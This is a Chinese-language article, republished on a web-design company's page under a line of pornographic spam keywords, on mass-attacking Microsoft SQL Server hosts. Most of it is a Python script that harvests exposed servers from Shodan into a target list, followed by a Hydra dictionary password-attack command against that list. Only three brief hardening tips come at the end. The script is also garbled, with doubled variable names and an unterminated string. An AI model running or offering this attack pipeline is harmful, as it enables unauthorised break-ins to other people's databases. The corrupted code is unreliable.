日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問(wèn)題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷(xiāo)解決方案
基于ShodanPython庫(kù)的批量攻擊實(shí)踐

SQL Server的弱口令入侵案例層出不窮,利用工具也大量存在,本文以MSSQL服務(wù)器為切入點(diǎn),以解決批量目標(biāo)發(fā)現(xiàn)為目標(biāo),介紹了一種基于Shodan Python庫(kù)的攻擊方法。希望能給有類(lèi)似需求的同學(xué)提供參考。

網(wǎng)站的建設(shè)創(chuàng)新互聯(lián)專(zhuān)注網(wǎng)站定制,經(jīng)驗(yàn)豐富,不做模板,主營(yíng)網(wǎng)站定制開(kāi)發(fā).小程序定制開(kāi)發(fā),H5頁(yè)面制作!給你煥然一新的設(shè)計(jì)體驗(yàn)!已為茶樓設(shè)計(jì)等企業(yè)提供專(zhuān)業(yè)服務(wù)。

一、基本思路

首先利用Shodan的Python庫(kù)獲取并實(shí)時(shí)處理MSSQL服務(wù)器IP及1434端口Banner,得到IP和MSSQL連接端口的組合列表;然后利用Hydra進(jìn)行字典口令攻擊。

SQL Server服務(wù)使用兩個(gè)端口:TCP-1433、UDP-1434。其中1433用于供SQL Server對(duì)外提供服務(wù),1434用于向請(qǐng)求者返回SQL Server使用了哪個(gè)TCP/IP端口。

—— 百度百科-1433端口

二、實(shí)現(xiàn)腳本

實(shí)現(xiàn)過(guò)程詳見(jiàn)腳本中的注釋

 
 
 
 
  1. # -- coding:utf-8 -- 
  2. # Python v2.7.10 
  3. # MSSQL.py 
  4. # Written by Gaearrow 
  5.  
  6. import shodan 
  7. import sys 
  8.  
  9. # API_KEY 
  10. API_KEY = "YOUR_API_KEY" 
  11. query = "product:\"Microsoft SQL Server\"" 
  12.  
  13. # 處理輸入 
  14. if len(sys.argv) != 3: 
  15.     print  
  16.     print 'Usage: MSSQL.py  
  17.     sys.exit(1) 
  18. pagestart = int(sys.argv[1]) 
  19. pageend = int(sys.argv[2]) 
  20.  
  21. try: 
  22.     # 初始化輸出文件 
  23.     ofilename = 'page'+str(pagestart)+'to'+str(pageend) 
  24.     ofilesrc = ofilename+'_src.txt' 
  25.     ofileip = ofilename+'_ip.txt' 
  26.     fsrc = open(ofilesrc,'w') 
  27.     fip = open(ofileip,'w') 
  28.  
  29.     # 統(tǒng)計(jì)變量 
  30.     numofport = 0 
  31.     numofnoport = 0 
  32.     rstlist = 0 
  33.      
  34.     # 逐頁(yè)檢索 
  35.     api = shodan.Shodan(API_KEY) 
  36.     rsttotal = api.count(query) 
  37.     maxpage = (rsttotal['total']+99)/100 
  38.     if pageend > maxpage: 
  39.         pageend = maxpage 
  40.     for page in range(pagestart,pageend+1): 
  41.         result = api.search(query,page) 
  42.         for mssql in result['matches']: 
  43.             # 從Banner中解析MSSQL的連接端口 
  44.             ## 刪除換行 
  45.             ip = mssql['ip_str'].strip('\n') 
  46.             ## Ignore IPv6 
  47.             if len(ip) > 15: 
  48.                 continue 
  49.             ## 跳過(guò)特殊字符 
  50.             banner = mssql['data'][3:] 
  51.             ## 檢查Banner 
  52.             if banner.find('ServerName') < 0: 
  53.                 continue 
  54.             pos = banner.find('tcp;') 
  55.             if pos > 0: 
  56.                 strlist = banner[pos:].split(';') 
  57.                 if strlist[1].find('np') < 0: 
  58.                     ### tcp;1234;np;.. 
  59.                     ipipport = ip+':'+strlist[1] 
  60.                     numofportnumofport = numofport + 1 
  61.                 else: 
  62.                     ### tcp;np;.. 
  63.                     ipipport = ip+":1433" 
  64.                     numofnoportnumofnoport = numofnoport + 1 
  65.             else: 
  66.                 ### no 'tcp;' 
  67.                 ipipport = ip+":1433" 
  68.                 numofnoportnumofnoport = numofnoport + 1 
  69.  
  70.             print >>fip,ipport 
  71.             print >>fsrc,mssql['ip_str'] 
  72.             print >>fsrc,mssql['data'][3:] 
  73.             rstlistrstlist = rstlist + 1 
  74.  
  75.     # 打印統(tǒng)計(jì)信息 
  76.     print >>fsrc,'===================================' 
  77.     print >>fsrc,'Shodan Summary Information' 
  78.     print >>fsrc,'Query : ', query 
  79.     print >>fsrc,'Total Results : ', rsttotal['total'] 
  80.     print >>fsrc,'List  Results : ', rstlist 
  81.     print >>fsrc,'Page  Start   : ', pagestart 
  82.     print >>fsrc,'Page  End     : ', pageend 
  83.     print >>fsrc,'Port  Assigned   : ',numofport 
  84.     print >>fsrc,'Port  Unassigned : ',numofnoport 
  85.     print >>fsrc,'===================================' 
  86.  
  87. except Exception as e: 
  88.     print 'Error: %s' % e 
  89.     sys.exit(1) 
  90.  
  91. fsrc.close() 
  92. fip.close() 

三、執(zhí)行示例

1. 執(zhí)行環(huán)境

 
 
 
 
  1. root@kali2:~/app/mssqlnew# uname -a 
  2. Linux kali2 4.0.0-kali1-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) i686 GNU/Linux 
  3. root@kali2:~/app/mssqlnew# python -V 
  4. Python 2.7.9 

2. 獲取地址端口組合列表

 
 
 
 
  1. root@kali2:~/app/mssqlnew# python MSSQL.py 1 10 

page1to10_src.txt

page1to10_ip.txt

3. hydra字典攻擊

攻擊耗時(shí)及成功率與用戶、口令字典有緊密關(guān)系,網(wǎng)絡(luò)帶寬也影響速度。

root@kali2:~/app/mssqlnew# hydra -L sqluser.dic -P sqlpass.dic -t 30 -M page1to10_ip.txt mssql

四、安全建議

  • 設(shè)置MSSQL僅限本地連接
  • 修改MSSQL的默認(rèn)連接端口
  • 分級(jí)配置各類(lèi)數(shù)據(jù)庫(kù)用戶權(quán)限

分享名稱(chēng):基于ShodanPython庫(kù)的批量攻擊實(shí)踐
網(wǎng)頁(yè)鏈接:http://m.5511xx.com/article/ccecoop.html